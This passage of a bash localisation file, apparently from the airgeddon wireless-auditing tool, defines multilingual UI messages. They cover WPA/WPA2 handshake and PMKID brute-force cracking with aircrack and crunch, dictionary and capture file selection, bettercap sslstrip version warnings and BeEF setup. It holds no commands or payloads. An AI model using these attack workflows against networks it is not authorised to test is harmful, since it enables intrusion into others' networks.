\${pink_color}\${enteredpath}\${normal_color}" arr["CATALAN",173]="Fitxer de captura seleccionat: \${pink_color}\${enteredpath}\${normal_color}" arr["PORTUGUESE",173]="Arquivo de captura selecionado: \${pink_color}\${enteredpath}\${normal_color}" arr["RUSSIAN",173]="Выбранный файл захвата: \${pink_color}\${enteredpath}\${normal_color}" arr["GREEK",173]="Επιλεγμένο αρχείο καταγραφής: \${pink_color}\${enteredpath}\${normal_color}" arr["ITALIAN",173]="File di cattura selezionato: \${pink_color}\${enteredpath}\${normal_color}" arr["POLISH",173]="Wybrany plik przechwytywania: \${pink_color}\${enteredpath}\${normal_color}" arr["GERMAN",173]="Ausgewählte Capture-Datei: \${pink_color}\${enteredpath}\${normal_color}" arr["TURKISH",173]="Seçilen yakalama dosyası: \${pink_color}\${enteredpath}\${normal_color}" arr["ARABIC",173]="\${pink_color}\${enteredpath}\${blue_color} :اختيار ملف الالتقاط\${normal_color}" arr["CHINESE",173]="已选择的捕获文件: \${pink_color}\${enteredpath}\${normal_color}" arr["ENGLISH",174]="It seems you have an unsupported bettercap version to perform sslstrip. Use the old bettercap 1.x or use bettercap>=\${bettercap2_sslstrip_working_version}. Early versions of bettercap 2.x have known problems to perform sslstrip attacks. More info at Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["SPANISH",174]="Parece que tienes una versión de bettercap no soportada para realizar sslstrip. Utiliza el antiguo bettercap 1.x o bien utiliza bettercap>=\${bettercap2_sslstrip_working_version}. Las primeras versiones de bettercap 2.x tienen problemas conocidos para realizar ataques sslstrip. Más info en el Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["FRENCH",174]="Il semble que vous avez une version non supportée de bettercap pour la réalization de sslstrip. Utilisez l'ancien bettercap 1.x ou utilisez bettercap>=\${bettercap2_sslstrip_working_version}. Les premières versions de bettercap 2.x ont des problèmes connus avec les attaques sslstrip. Plus d'informations sur le Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["CATALAN",174]="Sembla que tens una versió de bettercap no suportada per realitzar sslstrip. Utilitza l'antic bettercap 1.x o bé utilitza bettercap>=\${bettercap2_sslstrip_working_version}. Les primeres versions de bettercap 2.x tenen problemes coneguts per realitzar atacs sslstrip. Més info al Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["PORTUGUESE",174]="Parece que você tem uma versão incompatível do bettercap com o sslstrip. Use o antigo bettercap 1.x ou o bettercap>=\${bettercap2_sslstrip_working_version}. As primeiras versões do bettercap 2.x têm problemas conhecidos com ataques que utilizam o sslstrip. Mais informações no Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["RUSSIAN",174]="Похоже, у вас неподдерживаемая версия bettercap для выполнения sslstrip. Используйте старую версию bettercap 1.x или используйте bettercap>=\${bettercap2_sslstrip_working_version}. В ранних версиях bettercap 2.x были известные проблемы с выполнением sslstrip-атак. Больше информации на Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["GREEK",174]="Φαίνεται ότι έχετε μια μη υποστηριζόμενη έκδοση bettercap για εκτέλεση sslstrip. Χρησιμοποιήστε το παλιό bettercap 1.x ή χρησιμοποιήστε bettercap>=\${bettercap2_sslstrip_working_version} Οι αρχικές εκδόσεις του bettercap 2.x έχουν γνωστά προβλήματα για την εκτέλεση επιθέσεων sslstrip. Περισσότερες πληροφορίες στο Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["ITALIAN",174]="Sembra che tu abbia una versione di bettercap non supportata per eseguire sslstrip. Utilizza il vecchio bettercap 1.x oppure bettercap>=\${bettercap2_sslstrip_working_version}. Le prime versioni di bettercap 2.x avevano problemi noti con gli attacchi sslstrip. Maggiori informazioni sul Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap Tips" arr["POLISH",174]="Wygląda na to, że masz nieobsługiwaną wersję Bettercap do przeprowadzenia sslstrip. Użyj starego bettercap 1.x lub użyj bettercap>=\${bettercap2_sslstrip_working_version}. Wczesne wersje bettercap 2.x mają znane problemy z atakami sslstrip. Więcej informacji na Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap Tips" arr["GERMAN",174]="Sie scheinen eine nicht unterstützte Version von bettercap zu haben, um sslstrip auszuführen. Verwenden Sie entweder die alte Bettercap 1.x oder Bettercap>=\${bettercap2_sslstrip_working_version}. Frühere Versionen von bettercap 2.x haben bekannte Probleme mit sslstrip-Angriffen. Weitere Infos im Wiki: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["TURKISH",174]="Görünüşe göre sslstrip gerçekleştirmek için desteklenmeyen bir bettercap sürümünüz var. Eski bettercap 1.x'i veya bettercap>=\${bettercap2_sslstrip_working_version} seçeneğini kullanın. Bettercap 2.x'in ilk sürümlerinde, sslstrip saldırılarını gerçekleştirmek için bilinen sorunlar vardır. Wiki'de daha fazla bilgi: \${normal_color}\$ {urlgithub_wiki}/Bettercap%20Tips" arr["ARABIC",174]="\${normal_color}\${urlgithub_wiki}/Bettercap%20Tips\${red_color} :مزيد من المعلومات على الويكي .sslstrip عرفت مشاكل أثناء تنفيذ هجمات bettercap 2.x الإصدارات القديمة من .bettercap>=\${bettercap2_sslstrip_working_version} أو استخدم bettercap 1.x استخدم الإصدارالقديم .sslstrip لا يسمح باستخدام bettercap يبدو أن لديك إصدار" arr["CHINESE",174]="您似乎有一个不受支持的 bettercap 版本来执行 sslstrip。使用旧的 bettercap 1.x 或使用 bettercap>=\${bettercap2_sslstrip_working_version}。 bettercap 2.x 的早期版本在执行 sslstrip 攻击时存在已知问题。 Wiki 上的更多信息: \${normal_color}\${urlgithub_wiki}/Bettercap%20Tips" arr["ENGLISH",175]="2. (aircrack + crunch) Bruteforce attack against Handshake/PMKID capture file" arr["SPANISH",175]="2. (aircrack + crunch) Ataque de fuerza bruta sobre fichero de captura Handshake/PMKID" arr["FRENCH",175]="2. (aircrack + crunch) Attaque de force brute en utilisant le fichier de capture Handshake/PMKID" arr["CATALAN",175]="2. (aircrack + crunch) Atac de força bruta sobre fitxer de captura Handshake/PMKID" arr["PORTUGUESE",175]="2. (aircrack + crunch) Ataque de força bruta em um arquivo de captura Handshake/PMKID" arr["RUSSIAN",175]="2. (aircrack + crunch) Атака методом брут-форса в отношении захваченного файла рукопожатия/PMKID" arr["GREEK",175]="2. (aircrack + crunch) Επίθεση bruteforce σε αρχείο καταγραφής Handshake/PMKID" arr["ITALIAN",175]="2. (aircrack + crunch) Attacco di forza bruta sul file di cattura Handshake/PMKID" arr["POLISH",175]="2. (aircrack + crunch) Atak brute force na plik przechwytywania Handshake/PMKID" arr["GERMAN",175]="2. (aircrack + crunch) Brute-Force-Angriff auf die Capture-Datei Handshake/PMKID" arr["TURKISH",175]="2. (aircrack + crunch) Yakalanan Handshake/PMKID dosyasına karşı bruteforce saldırısı" arr["ARABIC",175]="2. Handshake/PMKID باستخدام ملف التقاط Bruteforce هجوم (aircrack + crunch)" arr["CHINESE",175]="2. (aircrack + crunch) 暴力破解 Handshake/PMKID 捕获文件" arr["ENGLISH",176]="aircrack CPU, non GPU attacks" arr["SPANISH",176]="ataques aircrack CPU, no GPU" arr["FRENCH",176]="attaques aircrack CPU, pas GPU" arr["CATALAN",176]="atacs aircrack CPU, no GPU" arr["PORTUGUESE",176]="ataques aircrack CPU, não GPU" arr["RUSSIAN",176]="aircrack атаки с использованием процессора, а не видеокарты" arr["GREEK",176]="επιθέσεις aircrack CPU, όχι GPU" arr["ITALIAN",176]="attacchi aircrack CPU, non GPU" arr["POLISH",176]="ataki CPU, nie GPU" arr["GERMAN",176]="CPU aircrack Angriffe, keine GPU" arr["TURKISH",176]="aircrack CPU, GPU olmayan saldırılar" arr["ARABIC",176]="GPU وليس ، CPU ل aircrack هجمات" arr["CHINESE",176]="aircrack CPU 破解" arr["ENGLISH",177]="Selected captured file: \${pink_color}None\${normal_color}" arr["SPANISH",177]="Fichero capturado seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",177]="Fichier de capture sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",177]="Fitxer capturat seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",177]="Arquivo de captura selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",177]="Выбран файл захвата: \${pink_color}Нет\${normal_color}" arr["GREEK",177]="Επιλεγμένο αρχείο καταγραφής: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",177]="File catturato selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",177]="Wybrany przechwycony plik: \${pink_color}Brak\${normal_color}" arr["GERMAN",177]="Ausgewählte erfasste Datei: \${pink_color}Keine\${normal_color}" arr["TURKISH",177]="Seçilen yakalanmış dosya: \${pink_color}None\${normal_color}" arr["ARABIC",177]="\${pink_color}None\${blue_color} :ملف الالتقاط المحدد\${normal_color}" arr["CHINESE",177]="已选择的捕获文件: \${pink_color}None\${normal_color}" arr["ENGLISH",178]="To decrypt the key of a WPA/WPA2 network, the capture file must contain a Handshake/PMKID" arr["SPANISH",178]="Para descifrar la clave de una red WPA/WPA2, el fichero de captura debe contener un Handshake/PMKID" arr["FRENCH",178]="Pour cracker la clé d'un réseau WPA/WPA2 le fichier de capture doit contenir un Handshake/PMKID" arr["CATALAN",178]="Per desxifrar la clau d'una xarxa WPA/WPA2 el fitxer de captura ha de contenir un Handshake/PMKID" arr["PORTUGUESE",178]="Para descriptografar a senha de uma rede WPA/WPA2, o arquivo de captura deve conter um Handshake/PMKID" arr["RUSSIAN",178]="Для расшифровки ключа сетей WPA/WPA2, файл захвата должен содержать четырёхэтапное рукопожатие/PMKID" arr["GREEK",178]="Για να αποκρυπτογραφήσετε το κλειδί ενός WPA/WPA2 δικτύου, το αρχείο καταγραφής πρέπει να περιέχει μία Χειραψία/PMKID" arr["ITALIAN",178]="Per decriptare la chiave per una rete WPA/WPA2, il file di cattura deve contenere un Handshake/PMKID" arr["POLISH",178]="Aby odszyfrować klucz sieci WPA/WPA2, plik przechwytywania musi zawierać Handshake/PMKID" arr["GERMAN",178]="Um den Schlüssel eines WPA/WPA2-Netzwerks zu entschlüsseln, muss die Erfassungsdatei einen Handshake/PMKID enthalten" arr["TURKISH",178]="WPA/WPA2 ağının şifresini çözmek için, yakalama dosyası bir Handshake/PMKID içermelidir" arr["ARABIC",178]="Handshake/PMKID يجب أن يحتوي ملف الالتقاط على ، WPA/WPA2 لفك تشفير مفتاح شبكة" arr["CHINESE",178]="要解密 WPA/WPA2 网络的密钥,捕获的文件必须包含 Handshake/PMKID" arr["ENGLISH",179]="Decrypting by bruteforce, it could pass hours, days, weeks or even months to take it depending on the complexity of the password and your processing speed" arr["SPANISH",179]="Descifrando por fuerza bruta, podrían pasar horas, días, semanas o incluso meses hasta conseguirlo dependiendo de la complejidad de la contraseña y de tu velocidad de proceso" arr["FRENCH",179]="Le crack de la clef par attaque de type brute force peut prendre des heures, des jours, des semaines ou même des mois en fonction de la complexité de la clef et de la puissance de calcul de votre matériel" arr["CATALAN",179]="Desxifrant per força bruta, podrien passar hores, dies, setmanes o fins i tot mesos fins a aconseguir-ho depenent de la complexitat de la contrasenya i de la teva velocitat de procés" arr["PORTUGUESE",179]="Descriptografar com força bruta pode levar horas, dias, semanas ou mesmo meses dependendo da complexidade da senha e velocidade de processamento" arr["RUSSIAN",179]="Расшифровка полным перебором может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" arr["GREEK",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού πρόσβασης και την ταχύτητα του επεξεργαστή" arr["ITALIAN",179]="Decifrando con forza bruta, potrebbero trascorrere ore, giorni, settimane o addirittura mesi per ottenere la password a seconda della sua complessità e della velocità del processore" arr["POLISH",179]="Odszyfrowywanie przez brut force może trwać godziny, dni, tygodnie lub nawet miesiące w zależności od złożoności hasła i szybkości przetwarzania" arr["GERMAN",179]="Die Entschlüsselung mit roher Gewalt könnte Stunden, Tage, Wochen oder sogar Monate in Anspruch nehmen, abhängig von der Komplexität des Passworts und der Geschwindigkeit des Prozesses" arr["TURKISH",179]="Bruteforce tarafından şifresini çözmek, şifrenin karmaşıklığına ve işlem hızınıza bağlı olarak bunu almak için saatler, günler, haftalar hatta aylar geçirebilir" arr["ARABIC",179]="يمكن أن يمر ساعات أو أيام أو أسابيع أو حتى أشهر لأخذها اعتمادًا على مدى تعقيد كلمة المرور وسرعة المعالجة ،bruteforce فك التشفير عن طريق" arr["CHINESE",179]="暴力破解密码可能需要数小时、数天、数周甚至数月才能完成,具体取决于密码的复杂程度和您设备的处理速度" arr["ENGLISH",180]="Enter the path of a dictionary file:" arr["SPANISH",180]="Introduce la ruta de un fichero de diccionario:" arr["FRENCH",180]="Saisissez un chemin vers un dictionnaire d'attaque:" arr["CATALAN",180]="Introdueix la ruta d'un fitxer de diccionari:" arr["PORTUGUESE",180]="Digite o caminho de um arquivo de dicionário:" arr["RUSSIAN",180]="Введите путь до файла словаря:" arr["GREEK",180]="Εισάγετε το μονοπάτι ενός λεξικού:" arr["ITALIAN",180]="Immettere il percorso di un file dizionario:" arr["POLISH",180]="Wprowadź ścieżkę pliku słownika:" arr["GERMAN",180]="Geben Sie den Pfad einer Wörterbuchdatei ein:" arr["TURKISH",180]="Dosya yolunu girin:" arr["ARABIC",180]=":أدخل مسار ملف القاموس" arr["CHINESE",180]="请输入字典文件的路径:" arr["ENGLISH",181]="The path to the dictionary file is valid. Script can continue..." arr["SPANISH",181]="La ruta al fichero de diccionario es válida. El script puede continuar..." arr["FRENCH",181]="Le chemin vers le fichier dictionnaire est valide. Le script peut continuer..." arr["CATALAN",181]="La ruta cap al fitxer de diccionari és vàlida. El script pot continuar..." arr["PORTUGUESE",181]="O caminho para o arquivo de dicionário é válido. O script pode continuar..." arr["RUSSIAN",181]="Путь до файла словаря правильный. Скрипт может продолжить..." arr["GREEK",181]="Το μονοπάτι για το λεξικό είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",181]="Il percorso del file dizionario è valido. Lo script può continuare..." arr["POLISH",181]="Ścieżka do pliku słownika jest prawidłowa. Skrypt może kontynuować..." arr["GERMAN",181]="Der Pfad zur Wörterbuchdatei ist gültig. Das Skript kann fortfahren..." arr["TURKISH",181]="Dosya yolu geçerli. Yazılım devam edebilir..." arr["ARABIC",181]="...المسار إلى ملف القاموس صالح. البرنامج يمكن أن يستمر" arr["CHINESE",181]="字典文件的路径有效。脚本可以继续..." arr["ENGLISH",182]="Selected dictionary file: \${pink_color}\${DICTIONARY}\${normal_color}" arr["SPANISH",182]="Fichero de diccionario seleccionado: \${pink_color}\${DICTIONARY}\${normal_color}" arr["FRENCH",182]="Fichier dictionnaire sélectionné: \${pink_color}\${DICTIONARY}\${normal_color}" arr["CATALAN",182]="Fitxer de diccionari seleccionat: \${pink_color}\${DICTIONARY}\${normal_color}" arr["PORTUGUESE",182]="Dicionário selecionado: \${pink_color}\${DICTIONARY}\${normal_color}" arr["RUSSIAN",182]="Выбранный файл словаря: \${pink_color}\${DICTIONARY}\${normal_color}" arr["GREEK",182]="Επιλεγμένο λεξικό: \${pink_color}\${DICTIONARY}\${normal_color}" arr["ITALIAN",182]="File di dizionario selezionato: \${pink_color}\${DICTIONARY}\${normal_color}" arr["POLISH",182]="Wybrany plik słownika: \${pink_color}\${DICTIONARY}\${normal_color}" arr["GERMAN",182]="Ausgewählte Wörterbuchdatei: \${pink_color}\${DICTIONARY}\${normal_color}" arr["TURKISH",182]="Seçilen sözlük dosyası: \${pink_color}\${DICTIONARY}\${normal_color}" arr["ARABIC",182]="\${pink_color}\${DICTIONARY}\${blue_color} :ملف القاموس المحدد\${normal_color}" arr["CHINESE",182]="已选择的字典文件: \${pink_color}\${DICTIONARY}\${normal_color}" arr["ENGLISH",183]="You already have selected a dictionary file during this session [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["SPANISH",183]="Ya tienes seleccionado un fichero de diccionario en esta sesión [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["FRENCH",183]="Vous avez déjà sélectionné un fichier dictionnaire pour cette session \${normal_color}\${DICTIONARY}\${blue_color}]" arr["CATALAN",183]="Ja tens seleccionat un fitxer de diccionari en aquesta sessió [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["PORTUGUESE",183]="Você selecionou um arquivo de dicionário nesta sessão [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["RUSSIAN",183]="Во время этой сессии вы выбрали файл словаря [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["GREEK",183]="Έχετε ήδη επιλέξει λεξικό κατά τη διάρκεια της συνεδρίας [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["ITALIAN",183]="È stato selezionato un file di dizionario in questa sessione [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["POLISH",183]="W tej sesji wybrano plik słownika [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["GERMAN",183]="Sie haben in dieser Sitzung bereits eine Wörterbuchdatei ausgewählt [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["TURKISH",183]="Bu oturumda zaten sözlük dosyası seçtiniz [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["ARABIC",183]="[\${normal_color}\${DICTIONARY}\${blue_color}] لقد قمت بالفعل بتحديد ملف قاموس أثناء هذه الدورة" arr["CHINESE",183]="您在此会话期间已经选择了字典文件 [\${normal_color}\${DICTIONARY}\${blue_color}]" arr["ENGLISH",184]="Do you want to use this already selected dictionary file? \${normal_color}\${visual_choice}" arr["SPANISH",184]="¿Quieres utilizar este fichero de diccionario ya seleccionado? \${normal_color}\${visual_choice}" arr["FRENCH",184]="Souhaitez vous utiliser le dictionnaire déjà sélectionné? \${normal_color}\${visual_choice}" arr["CATALAN",184]="¿Vols fer servir aquest fitxer de diccionari ja seleccionat? \${normal_color}\${visual_choice}" arr["PORTUGUESE",184]="Você quer usar esse arquivo de dicionário já selecionado? \${normal_color}\${visual_choice}" arr["RUSSIAN",184]="Вы хотите использовать этот уже выбранный файл словаря? \${normal_color}\${visual_choice}" arr["GREEK",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό; \${normal_color}\${visual_choice}" arr["ITALIAN",184]="Vuoi utilizzare questo file di dizionario già selezionato? \${normal_color}\${visual_choice}" arr["POLISH",184]="Czy chcesz użyć już wybraniego pliku słownika? \${normal_color}\${visual_choice}" arr["GERMAN",184]="Möchten Sie diese ausgewählte Wörterbuchdatei verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",184]="Seçilen sözlük dosyasını kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",184]="\${normal_color}\${visual_choice} \${green_color}هل ترغب في استخدام القاموس المحدد بالفعل؟\${normal_color}" arr["CHINESE",184]="您要使用这个已选择的字典文件吗?\${normal_color}\${visual_choice}" arr["ENGLISH",185]="Selected BSSID: \${pink_color}None\${normal_color}" arr["SPANISH",185]="BSSID seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",185]="BSSID sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",185]="BSSID seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",185]="BSSID selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",185]="Выбранная BSSID: \${pink_color}Нет\${normal_color}" arr["GREEK",185]="Επιλεγμένο BSSID: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",185]="BSSID selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",185]="Wybrany BSSID: \${pink_color}Brak\${normal_color}" arr["GERMAN",185]="Ausgewählte BSSID: \${pink_color}Keine\${normal_color}" arr["TURKISH",185]="Seçilen BSSID: \${pink_color}None\${normal_color}" arr["ARABIC",185]="\${pink_color}None\${blue_color} :المختار BSSID\${normal_color}" arr["CHINESE",185]="已选择的 BSSID: \${pink_color}None\${normal_color}" arr["ENGLISH",186]="You already have selected a capture file during this session [\${normal_color}\${enteredpath}\${blue_color}]" arr["SPANISH",186]="Ya tienes seleccionado un fichero de captura en esta sesión [\${normal_color}\${enteredpath}\${blue_color}]" arr["FRENCH",186]="Vous avez déjà sélectionné un fichier de capture pour cette session \${normal_color}\${enteredpath}\${blue_color}]" arr["CATALAN",186]="Ja tens seleccionat un fitxer de captura en aquesta sessió [\${normal_color}\${enteredpath}\${blue_color}]" arr["PORTUGUESE",186]="Você selecionou um arquivo de captura nesta sessão [\${normal_color}\${enteredpath}\${blue_color}]" arr["RUSSIAN",186]="Вы уже выбрали файл захвата во время этой сессии [\${normal_color}\${enteredpath}\${blue_color}]" arr["GREEK",186]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [\${normal_color}\${enteredpath}\${blue_color}]" arr["ITALIAN",186]="È stato selezionato un file di cattura in questa sessione [\${normal_color}\${enteredpath}\${blue_color}]" arr["POLISH",186]="W tej sesji wybrano już plik przechwytywania [\${normal_color}\${enteredpath}\${blue_color}]" arr["GERMAN",186]="Sie haben bereits eine Capture-Datei in dieser Sitzung ausgewählt [\${normal_color}\${enteredpath}\${blue_color}]" arr["TURKISH",186]="Bu oturumda zaten bir yakalama dosyası seçtiniz [\${normal_color}\${enteredpath}\${blue_color}]" arr["ARABIC",186]="[\${normal_color}\${enteredpath}\${blue_color}] لقد قمت بالفعل بتحديد ملف الالتقاط أثناء هذه الدورة" arr["CHINESE",186]="您已经在此次脚本运行期间已经选择了一个捕获文件 [\${normal_color}\${enteredpath}\${blue_color}]" arr["ENGLISH",187]="Do you want to use this already selected capture file? \${normal_color}\${visual_choice}" arr["SPANISH",187]="¿Quieres utilizar este fichero de captura ya seleccionado? \${normal_color}\${visual_choice}" arr["FRENCH",187]="Souhaitez vous utiliser le fichier de capture déjà sélectionné? \${normal_color}\${visual_choice}" arr["CATALAN",187]="¿Vols fer servir aquest fitxer de captura ja seleccionat? \${normal_color}\${visual_choice}" arr["PORTUGUESE",187]="Você quer usar esse arquivo de captura selecionado? \${normal_color}\${visual_choice}" arr["RUSSIAN",187]="Вы хотите использовать этот уже выбранный файл захвата? \${normal_color}\${visual_choice}" arr["GREEK",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής; \${normal_color}\${visual_choice}" arr["ITALIAN",187]="Vuoi utilizzare questo file di cattura giá selezionato? \${normal_color}\${visual_choice}" arr["POLISH",187]="Czy chcesz użyć już wybranego pliku przechwytywania? \${normal_color}\${visual_choice}" arr["GERMAN",187]="Möchten Sie diese ausgewählte Capture-Datei verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",187]="Bu yakalama dosyasını kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",187]="\${normal_color}\${visual_choice}\${green_color} هل تريد استخدام ملف الالتقاط المحدد بالفعل؟\${normal_color}" arr["CHINESE",187]="您想使用这个已选择的捕获文件吗?\${normal_color}\${visual_choice}" arr["ENGLISH",188]="Enter the path of a captured file:" arr["SPANISH",188]="Introduce la ruta de un fichero de captura:" arr["FRENCH",188]="Entrez le chemin vers un fichier de capture:" arr["CATALAN",188]="Introdueix la ruta d'un fitxer de captura:" arr["PORTUGUESE",188]="Digite o caminho para um arquivo de captura:" arr["RUSSIAN",188]="Введите путь файла захвата:" arr["GREEK",188]="Εισάγετε το μονοπάτι για ένα αρχείο καταγραφής:" arr["ITALIAN",188]="Immettere il percorso di un file di cattura:" arr["POLISH",188]="Wprowadź ścieżkę do pliku przechwytywania:" arr["GERMAN",188]="Geben Sie den Pfad zu einer Capture-Datei ein:" arr["TURKISH",188]="Yakalama dosyasının yolunu girin:" arr["ARABIC",188]=":أدخل المسار إلى ملف التقاط" arr["CHINESE",188]="请输入捕获文件的路径:" arr["ENGLISH",189]="The path to the capture/hash file is valid. Script can continue..." arr["SPANISH",189]="La ruta al fichero de captura/hash es válida. El script puede continuar..." arr["FRENCH",189]="Le chemin du fichier de capture/hash est valide. Le script peut continuer..." arr["CATALAN",189]="La ruta al fitxer de captura/hash és vàlida. El script pot continuar..." arr["PORTUGUESE",189]="O caminho para o arquivo de captura/hash é válido. O script pode continuar..." arr["RUSSIAN",189]="Путь к файлу захвата/hash является корректным. Скрипт может продолжать..." arr["GREEK",189]="Η διαδρομή προς το αρχείο capture/hash είναι έγκυρη. Το script μπορεί να συνεχίσει..." arr["ITALIAN",189]="Il percorso del file di cattura/hash è valido. Lo script può continuare..." arr["POLISH",189]="Ścieżka do pliku przechwytywania/hash jest prawidłowa. Skrypt może kontynuować..." arr["GERMAN",189]="Der Pfad zur Capture/Hash-Datei ist gültig. Das Skript kann fortfahren..." arr["TURKISH",189]="Yakalama/hash dosyasının yolu geçerli. Yazılım devam edebilir..." arr["ARABIC",189]="...صالح. يمكن المتابعة capture/hash مسار ملف الـ" arr["CHINESE",189]="capture/hash 文件的路径有效。脚本可以继续..." arr["ENGLISH",190]="Starting decrypt. When started, press [Ctrl+C] to stop..." arr["SPANISH",190]="Comenzando descifrado. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",190]="Lancement du crack. Pressez [Ctrl+C] pour l'arrêter..." arr["CATALAN",190]="Començant el desxifrat. Un cop començat, premeu [Ctrl+C] per aturar-lo..." arr["PORTUGUESE",190]="Começando a descriptografar. Uma vez iniciado, pressione [Ctrl+C] para parar..." arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",190]="Cominciando a decifrare. Una volta avviato, premere [Ctrl+C] per fermare..." arr["POLISH",190]="Uruchamianie odszyfrowania. Naciśnij [Ctrl+C] w trakcie trwania aby go zatrzymać..." arr["GERMAN",190]="Entschlüsselung starten. Nach dem Start drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",190]="Şifre çözme başlıyor. Başladıktan sonra, durdurmak için [Ctrl+C] basınız..." arr["ARABIC",190]="...للإيقاف [Ctrl+C] بدء فك تشفير. عند البدء ، اضغط على" arr["CHINESE",190]="准备开始暴破。启动后,按 [Ctrl+C] 停止..." arr["ENGLISH",191]="\${blue_color}airgeddon can't find the directory path where you have BeEF installed. \${green_color}Do you want to enter it manually? \${normal_color}\${visual_choice}" arr["SPANISH",191]="\${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. \${green_color}¿Quieres introducirla manualmente? \${normal_color}\${visual_choice}" arr["FRENCH",191]="\${blue_color}airgeddon n'a pas trouvé le dossier qui contient BeEF. \${green_color}Voulez-vous l'indiquer manuellement? \${normal_color}\${visual_choice}" arr["CATALAN",191]="\${blue_color}airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. \${green_color}¿Vols introduir-la manualment? \${normal_color}\${visual_choice}" arr["PORTUGUESE",191]="\${blue_color}O airgeddon não conseguiu encontrar o diretório onde você instalou o BeEF. \${green_color}Você quer inseri-lo manualmente? \${normal_color}\${visual_choice}" arr["RUSSIAN",191]="\${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. \${green_color}Вы хотите ввести его вручную? \${normal_color}\${visual_choice}" arr["GREEK",191]="\${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. \${green_color}Θέλετε να το εισάγετε χειροκίνητα; \${normal_color}\${visual_choice}" arr["ITALIAN",191]="\${blue_color}airgeddon non ha potuto trovare il percorso della directory in cui è stato installato BeEF. \${green_color}Vuoi inserirlo manualmente? \${normal_color}\${visual_choice}" arr["POLISH",191]="\${blue_color}airgeddon nie mógł znaleźć ścieżki, w której zainstalowano BeEF. \${green_color}Czy chcesz ją wprowadzić ręcznie? \${normal_color}\${visual_choice}" arr["GERMAN",191]="\${blue_color}airgeddon konnte den Verzeichnispfad, in den BeEF installiert ist, nicht finden. \${green_color}Möchten Sie es manuell eingeben? \${normal_color}\${visual_choice}" arr["TURKISH",191]="\${blue_color}airgeddon BeEF yazılımının kurulu olduğu dizini bulamadı. \${green_color}Elle girmek ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",191]="\${normal_color}\${visual_choice} \${green_color}هل تريد إدخاله يدويًا؟\${blue_color}.BeEF من العثور على مسار الدليل حيث تم تثبيت airgeddon لم يتمكن\${normal_color}" arr["CHINESE",191]="\${blue_color}airgeddon 找不到您 BeEF 的安装路径。 \${green_color}您要手动输入吗?\${normal_color}\${visual_choice}" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [\${normal_color}\${bssid}\${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [\${normal_color}\${bssid}\${blue_color}]" arr["FRENCH",192]="Vous avez déjà sélectionné un BSSID pour la session en cours et est présent dans le fichier de capture \${normal_color}\${bssid}\${blue_color}]" arr["CATALAN",192]="Ja tens seleccionat un BSSID en aquesta sessió i està present en el fitxer de captura [\${normal_color}\${bssid}\${blue_color}]" arr["PORTUGUESE",192]="Você selecionou um BSSID nesta sessão que está presente no arquivo de captura [\${normal_color}\${bssid}\${blue_color}]" arr["RUSSIAN",192]="У вас уже есть выбранная во время этой сессии BSSID и она присутствует в файле захвата [\${normal_color}\${bssid}\${blue_color}]" arr["GREEK",192]="Έχετε ήδη επιλέξει BSSID κατά τη διάρκεια της συνεδρίας και βρίσκεται στο αρχείο καταγραφής [\${normal_color}\${bssid}\${blue_color}]" 